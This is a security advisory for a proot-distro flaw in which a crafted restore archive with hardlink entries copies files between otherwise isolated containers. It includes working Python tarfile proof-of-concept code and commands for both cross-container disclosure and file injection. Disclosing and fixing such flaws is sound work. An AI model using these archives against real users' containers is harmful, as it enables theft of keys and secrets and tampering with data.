VDB
KO
HIGH 8.2

GHSA-7h3g-4w2f-fj2f

proot-distro has a Container Isolation Bypass via Crafted Restore Archive

Quick fix

GHSA-7h3g-4w2f-fj2f — proot-distro: upgrade to the fixed version with the command below.

pip install --upgrade 'proot-distro>=5.1.6'

Details

## Affected Component

- **Package:** proot-distro - **Affected command:** `restore` - **Attack surface:** Host-side Termux CLI processing a user-supplied backup archive - **Vulnerability type:** Container Isolation Bypass / Cross-Container Read and Write

---

## Affected Versions

| Component | Version | |---|---| | proot-distro | 5.1.5 (confirmed affected) | | Test distro | Alpine Linux | | Architecture | aarch64 | | Device | Samsung Galaxy A23 | | Package source | https://packages-cf.termux.dev/apt/termux-main stable/main aarch64 |

---

## Summary

When restoring a crafted backup archive, `proot-distro restore` accepts hardlink entries whose source path references a different installed container.

The restore logic resolves the hardlink source from the archive's `linkname` field and copies the referenced file into the container identified by the archive entry.

Although path traversal protections correctly keep the source path inside the proot-distro containers directory, no validation ensures that the hardlink source container matches the destination container.

As a result, a malicious backup archive can copy files between otherwise isolated containers, enabling both cross-container disclosure and cross-container file injection.

---

## Proof of Concept #1 — Cross-Container File Disclosure

All testing was performed using self-owned containers and harmless marker data only.

### Step 1 — Create a victim container and marker file

```bash proot-distro install alpine --name victim

proot-distro login victim -- sh -lc ' mkdir -p /root printf "PROOF-12345\n" > /root/proof.txt ' ```

Verification:

``` proot-distro login victim -- cat /root/proof.txt

PROOF-12345 ```

---

### Step 2 — Create an attacker container

```bash proot-distro install alpine --name attacker ```

---

### Step 3 — Build a crafted archive

```python python3 -c ' import tarfile

tf = tarfile.open("malicious.tar", "w")

d = tarfile.TarInfo("attacker/rootfs/exfil") d.type = tarfile.DIRTYPE d.mode = 0o755 tf.addfile(d)

h = tarfile.TarInfo("attacker/rootfs/exfil/stolen_key") h.type = tarfile.LNKTYPE h.linkname = "victim/rootfs/root/proof.txt" h.mode = 0o600 tf.addfile(h)

tf.close() ' ```

---

### Step 4 — Restore the crafted archive

```bash proot-distro restore ./malicious.tar ```

---

### Step 5 — Read the copied file from the attacker container

```bash proot-distro run attacker -- cat /exfil/stolen_key ```

Observed output:

``` PROOF-12345 ```

This demonstrates that data originating from the victim container was copied into the attacker container solely through a crafted restore archive.

---

## Proof of Concept #2 — Cross-Container File Injection

### Step 1 — Create attacker-controlled source data

```bash proot-distro install alpine --name attacker

proot-distro login attacker -- sh -lc ' mkdir -p /root printf "ATTACKER_DATA\n" > /root/source.txt ' ```

---

### Step 2 — Create a victim container

```bash proot-distro install alpine --name victim ```

---

### Step 3 — Build a crafted archive

```python python3 -c ' import tarfile

tf = tarfile.open("write_test.tar", "w")

h = tarfile.TarInfo( "victim/rootfs/root/copied_from_attacker.txt" )

h.type = tarfile.LNKTYPE h.linkname = "attacker/rootfs/root/source.txt" h.mode = 0o600

tf.addfile(h) tf.close() ' ```

---

### Step 4 — Restore the crafted archive

```bash proot-distro restore ./write_test.tar ```

---

### Step 5 — Verify file injection into the victim container

```bash cat "$PREFIX/var/lib/proot-distro/containers/victim/rootfs/root/copied_from_attacker.txt" ```

Observed output:

``` ATTACKER_DATA ```

This demonstrates that attacker-controlled data can be copied into a different installed container solely through a crafted restore archive.

---

## Impact

An attacker who can convince a user to restore a crafted backup archive can bypass the expected isolation boundary between installed proot-distro containers.

Observed impacts include:

- Disclosure of files from other installed containers. - Injection of attacker-controlled files into other installed containers. - Exposure of SSH private keys. - Exposure of API credentials. - Exposure of configuration files containing secrets. - Exposure of application databases stored inside container rootfs directories.

The issue does not escape the proot-distro containers directory but allows archive-controlled movement of data across otherwise isolated containers.

---

## Root Cause

During hardlink processing, the restore implementation resolves the source container from the archive's `linkname` field.

The resolved path is validated to remain inside a container directory, but the implementation does not verify that the hardlink source container is the same container currently being restored.

As a result, archive-controlled metadata determines which installed container is used as the source of the copy operation.

---

## Proposed Fix

```python link_container, link_src = _dest_path(member.linkname)

if link_src is None: continue

if link_container != container_name: continue

link_src = _safe_dest( link_container, link_src, follow_final=True ) ```

This preserves existing path traversal protections while restoring the expected isolation boundary between containers.

---

## Additional Notes

- Issue reproduced on the official Termux package repository. - No root access was used. - No third-party data was accessed. - Testing used only self-owned containers and harmless marker data. - Cross-container disclosure reproduced using the marker value `PROOF-12345`. - Cross-container file injection reproduced using the marker value `ATTACKER_DATA`.

Are you affected?

Enter the version of the package you're using.

Affected packages

PyPI / proot-distro
Introduced in: 0 Fixed in: 5.1.6
Fix pip install --upgrade 'proot-distro>=5.1.6'

References